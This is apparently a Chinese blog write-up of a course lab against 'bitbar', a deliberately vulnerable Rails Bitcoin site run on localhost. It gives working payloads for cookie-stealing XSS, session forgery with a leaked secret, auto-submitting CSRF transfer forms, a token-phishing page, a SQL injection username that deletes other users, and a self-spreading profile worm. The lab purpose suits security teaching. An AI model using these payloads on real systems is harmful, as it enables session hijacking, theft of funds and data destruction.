2021年5月7日00:45:53评论0 views字数 9517阅读31分43秒阅读模式

给的是一个比特币交易的网站，本地搭建环境之后开始按照文章中的要求来完成6次attack

网站源码和代码都放在这个仓库了 https://github.com/xinyongpeng/bitbar

Attack 1: Warm-up exercise: Cookie Theft

根据路由

ruby get 'profile' => 'user#view_profile'

定位到函数

```ruby
def view_profile
@username = params[:username]
@user = User.find_by_username(@username)
if not @user
if @username and @username != ""
@error = "User #{@username} not found"
elsif logged_in?
@user = @logged_in_user
end
end

render :profile

end
```

可以看到，输入的 username 被直接给打印出来，那么自然就存在XSS漏洞了。

payload

html <script type="text/javascript">(new Image()).src="http://localhost:3000/steal_cookie?cookie="+document.cookie</script>

或者使用 xmlhttprequest 发送

html <script type="text/javascript">var x = new XMLHttpRequest();x.open("GET", "http://localhost:3000/steal_cookie?cookie="+(document.cookie));x.send()</script>

Attack 2: Session hijacking with Cookies

参考这篇文章

上图说明了原始的 Session 对象 Session Data 是如何最终生成 Cookie 的

原来的加密过程：

序列化
填充，aes-cbc加密，结果用base64编码
hmac-sha1签名
将加密的数据和签名通过 -- 连接

但是意外地发现，bitbar的cookie并没有aes加密，可以通过

base64解码
反序列化

得到原始信息，那么这么一来，就只需要绕过验签这一个障碍了

在 config/initializers/secret_token.rb 中

```ruby

Be sure to restart your server when you modify this file.

Your secret key is used for verifying the integrity of signed cookies.

If you change this key, all old signed cookies will become invalid!

Make sure the secret is at least 30 characters and all random,

no regular words or you'll be exposed to dictionary attacks.

You can use `rake secret` to generate a secure secret key.

Make sure your secret_key_base is kept private

if you're sharing your code publicly.

Bitbar::Application.config.secret_token = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'

```

这就是hmac-sha1的加解密密钥

ok，到此为止我们就能伪造数据了

attacke用户登陆，获取到当前的cookie
修改cookie值

这里需要用到 mechanize 这个包，安装

gem install mechanize

模拟登陆实现

```ruby
agent = Mechanize.new #实例化对象
url = "http://localhost:3000/login"

page = agent.get(url) # 获得网页

form = page.forms.first # 第一个表单
form['username'] = form['password'] = 'attacker' # 填写表单，用户名和密码都是attacker
agent.submit form # 提交表单
```

这就相当于登陆了，然后我们获得cookie信息

ruby cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '') cookie_value, cookie_signature = cookie.split('--') raw_session = Base64.decode64(cookie_value) session = Marshal.load(raw_session)

session如下:

json {"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999", "token"=>"q2VXDRnMskkf-69Gu2PiTg", "logged_in_id"=>4}

很明显，我们只需要修改 logged_in_id 为1即可

```ruby
session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"

puts "document.cookie='#{cookie_full}';"
```

这时候得到的session

document.cookie='_bitbar_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTY2ZWY5YTIyY2EyNmUyN2VhNGQzMDE4YjEyYzA3OTk5BjsAVEkiCnRva2VuBjsARkkiG3EyVlhEUm5Nc2trZi02OUd1MlBpVGcGOwBGSSIRbG9nZ2VkX2luX2lkBjsARmkG--935e2e8f9f3d190f2ffccdf9cafd9e4480319054';

然后再发送数据，比如访问 http://localhost:3000/profile

```ruby
url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full}
response = http.get(url,header)
puts response.body
```

此时我们就能看到，

浏览器已经认为我们是 user1 了

完整代码

```ruby
require 'mechanize'
require 'net/http'
SESSION = '_bitbar_session'
RAILS_SECRET = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'

agent = Mechanize.new
url = "http://localhost:3000/login"

page = agent.get(url)

form = page.forms.first
form['username'] = form['password'] = 'attacker'
agent.submit form

cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '')
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)

puts session
session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"

url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full}
response = http.get(url,header)
puts response.body

```

Attack 3: Cross-site Request Forgery

分析，登陆 user1,向attacker转帐，抓到的数据包如下

可见，只需要构造一个表单自动提交即可

b.html 内容如下

```html
<!DOCTYPE html>

Document

<form action="http://localhost:3000/post_transfer" method="post" enctype="application/x-www-form-urlencoded" id="pay">
    < input type="hidden" name="destination_username" value="attacker">
    < input type="hidden" name="quantity" value=10>
</form>

<script type="text/javascript">
    function validate(){
        document.getElementById("pay").submit();
    }
    window.load = validate();
    setTimeout(function(){window.location = "http://baidu.com";}, 0.1);
    </script>

```

表单的字段都是隐藏的，并且值都是给定的，之后通过

js document.getElementById("pay").submit();

实现自动提交

最后

js setTimeout(function(){window.location = "http://baidu.com";}, 0.1);

0.1s 后跳转到百度首页

也可以使用 xmlhttprequest ，一样的思路

```html

```

Attack 4: Cross-site request forgery with user assistance

由于 http://localhost:3000/super_secure_transfer 转账的时候，表单带上了一个随机token，所以没办法通过 CSRF 来转帐，只能通过钓鱼的办法，欺骗用户输入自己的 Super Secret Token,这样我们就能绕过服务器的校验了

bp2.html 可以使用上一个的代码

bp.html

```html

23333

```

bp2.html

```html

请输入 super_secure_post_transfer 页面下的 Super Secret Token 来证明你不是机器人

< input id="token" type="text" placeholder="Captcha">

```

Attack 5: Little Bobby Tables (aka SQL Injection)

删除用户的逻辑如下

```ruby
def post_delete_user
if not logged_in?
render "main/must_login"
return
end

@username = @logged_in_user.username
User.destroy_all("username = '#{@username}'")

reset_session
@logged_in_user = nil
render "user/delete_user_success"

end
```

可以看到输入的用户名没有经过任何的过滤直接拼接到了SQL语句中，我们看到后台执行的SQL语句

如果我们的用户名中含有user3即可将user3删除

那么如果我们注册用户

user3' or username GLOB 'user3?*

拼接出来的SQL语句必然是

delete from users where username = user3 or username GLOB 'user3?*'

登陆

删除

此时可以看到后台执行的SQL语句

Attack 6: Profile Worm

问题出在渲染用户的profile上面

profile.html.erb 中，渲染用户的 profile 代码如下

html <% if @user.profile and @user.profile != "" %> <div id="profile"><%= sanitize_profile(@user.profile) %></div> <% end %>

调用了函数 sanitize_profile

ruby def sanitize_profile(profile) return sanitize(profile, tags: %w(a br b h1 h2 h3 h4 i img li ol p strong table tr td th u ul em span), attributes: %w(id class href colspan rowspan src align valign)) end

其中 santitize 函数，通过 tags 和 attributes 可以指定允许的标签和属性白名单。

然而属性中出现了 href,这意味着我们可以使用JavaScript伪协议来XSS

参考： https://ruby-china.org/topics/28760

比如

html <strong id="bitbar_count" class="javascript:alert(1)"></strong>

更新自己的 profile 时，查看自己的profile，即可弹窗

如果有用户浏览当前的profile，那么将会发生两个操作

转账操作
更新用户的profile

转账操作的代码如下

js var request = new XMLHttpRequest(); request.open("POST", "http://localhost:3000/post_transfer"); request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); request.withCredentials = true; try { request.send("quantity=1&destination_username=attacker"); } catch (err) { // } finally { //xxxx 带执行的操作 }

转帐完成之后，我们需要立即更新当前浏览用户的 profile

设置 profile 的数据包如下

只需要向路由 /set_profile 发送请求即可

js request = new XMLHttpRequest(); request.open("POST", "http://localhost:3000/set_profile", true); request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); request.withCredentials = true; request.send("new_profile=".concat(escape(document.getElementById('hax-wrap').outerHTML)));

遇到的问题：

发送的数据含有html转移后的 & 符号。如图

这里我采用的是 String.fromCharCode() 来将其做一次转换

字符串拼接只能用 concat 而不能用 + ，因为 + 号在 html 中是空格的意思

最后的代码

```html

'getElementById'['innerHTML'])">

document.getElementById('pxy').style.display = "none";
setTimeout(function(){

var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
    request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker"));
} catch (err) {
//
} finally {
    request = new XMLHttpRequest();
    request.open("POST", "http://localhost:3000/set_profile", true);
    request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    request.withCredentials = true;
    request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));
}

}, 0);
10;

233333

```

ps: 也可以用 js 动态创建 form表单的方式，但是这样页面是会跳转的，无法满足

在转账和profile的赋值过程中，浏览器的地址栏需要始终停留在http://localhost:3000/profile?username=x ，其中x是profile被浏览的用户名。

附上js动态创建form表单的代码

```js

'getElementById'.innerHTML))">

document.getElementById('pxy').style.display = "none";
function makeForm(){
var form = document.createElement("form");
form.id = "pay";

document.body.appendChild(form);
var input = document.createElement("input");
input.type = "text";

input.name =  "destination_username";
input.value = "attacker";
input.type = 'hidden';

form.appendChild(input);
var input2 = document.createElement("input");
input2.type = "hidden";
input2.name = "quantity";
input2.value = 10

form.appendChild(input2);
form.action = "http://localhost:3000/post_transfer";
form.method = "POST";
form.enctype = "application/x-www-form-urlencode";
form.submit();

}
makeForm();
request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));

```

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bitbar 漏洞挖掘实验

Attack 1: Warm-up exercise: Cookie Theft

Attack 2: Session hijacking with Cookies

Be sure to restart your server when you modify this file.

Your secret key is used for verifying the integrity of signed cookies.

If you change this key, all old signed cookies will become invalid!

Make sure the secret is at least 30 characters and all random,

no regular words or you'll be exposed to dictionary attacks.

You can use `rake secret` to generate a secure secret key.

Make sure your secret_key_base is kept private

if you're sharing your code publicly.

Attack 3: Cross-site Request Forgery

Attack 4: Cross-site request forgery with user assistance

Attack 5: Little Bobby Tables (aka SQL Injection)

Attack 6: Profile Worm

Vulnhub之trollcave-v1-2

Vulnhub之Os-hackNos-1

shiro框架学习

2023 USTC Hackergame WriteUp

sqli-labs通关笔记

横向移动工具开发：wmiexec-Pro

Andariel新攻击活动分析

域渗透实战之Forest

内网安全之隧道代理

CORS跨域资源共享攻击

在线咨询

微信

Attack 1: Warm-up exercise: Cookie Theft

Attack 2: Session hijacking with Cookies

Be sure to restart your server when you modify this file.

Your secret key is used for verifying the integrity of signed cookies.

If you change this key, all old signed cookies will become invalid!

Make sure the secret is at least 30 characters and all random,

no regular words or you'll be exposed to dictionary attacks.

You can use rake secret to generate a secure secret key.

Make sure your secret_key_base is kept private

if you're sharing your code publicly.

Attack 3: Cross-site Request Forgery

Attack 4: Cross-site request forgery with user assistance

Attack 5: Little Bobby Tables (aka SQL Injection)

Attack 6: Profile Worm

在线咨询

微信

You can use `rake secret` to generate a secure secret key.